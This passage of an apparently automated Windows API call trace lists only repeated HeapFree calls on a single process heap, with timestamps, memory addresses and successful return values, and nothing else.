hHeap=0x630000) returned 1 [0265.654] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.804] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.805] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.808] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.813] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.815] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.822] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.822] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0265.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.823] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.827] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.829] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0265.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0265.869] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0265.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0265.870] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.208] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0266.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0266.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0266.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0266.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0266.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.758] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.759] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0266.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0266.762] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0266.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0266.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0266.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.022] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.337] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.338] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0267.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0267.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.348] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.349] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.352] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0267.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0267.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54f0060 | out: hHeap=0x630000) returned 1 [0267.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0267.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0267.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.766] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.770] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.773] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.774] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.776] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.777] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.779] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.781] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.784] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.789] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.791] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0267.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0267.798] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) 